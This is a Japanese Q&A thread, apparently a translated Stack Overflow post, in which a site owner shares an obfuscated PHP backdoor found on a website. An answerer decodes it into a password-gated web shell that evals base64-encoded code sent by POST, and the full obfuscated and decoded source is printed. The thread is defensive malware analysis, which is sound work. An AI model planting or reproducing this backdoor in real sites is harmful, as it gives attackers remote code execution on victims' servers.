-1

簡単な質問です...サイトで悪意のあるファイルを見つけました (削除されたため) が、それが何をしているのか疑問に思っています。以下はコードです。洞察をいただければ幸いです。

function myfunc () {
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
$_myfunc2 = "\x63\x68\x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"@$_g1qm6($_g1qm4(\"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K\"))",'');} @_g1qm0();
}
4

1 に答える 1

1

このコードは完全ではありませんが、私がデコードしたものは次のとおりです。

$log = 'prt'; 

if (!isset($_SESSION)) {    
  session_start(); 
} 

if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) {    
    if (isset($_POST['mtq'])) {                 
        $pt = base64_decode($_POST['mtq']);         
        eval($pt);      
        exit;   
    }
 } 

 if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) { 
    $_SESSION['log'] = $log;    exit; 
 }

つまり、簡単に言えば、POST リクエストから mtq param を見て、シェルで実行するということです。データは base64 エンコード形式で提供されます。また、キーのセッションに 1 つの変数を格納しますlog

また

$_myfunc2 = "\x63\x68\x72";chrASCIIコードに基づいて文字を返すPHPの関数にデコードされます。

$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';

md5ハッシュのように見えますが、よくわかりません

$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);

$_g1qm3 はstrrev関数です

$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));

base64_decode() です

$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");

preg_replace() です

 $_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65")

それは eval()

于 2015-12-16T15:12:51.127 に答える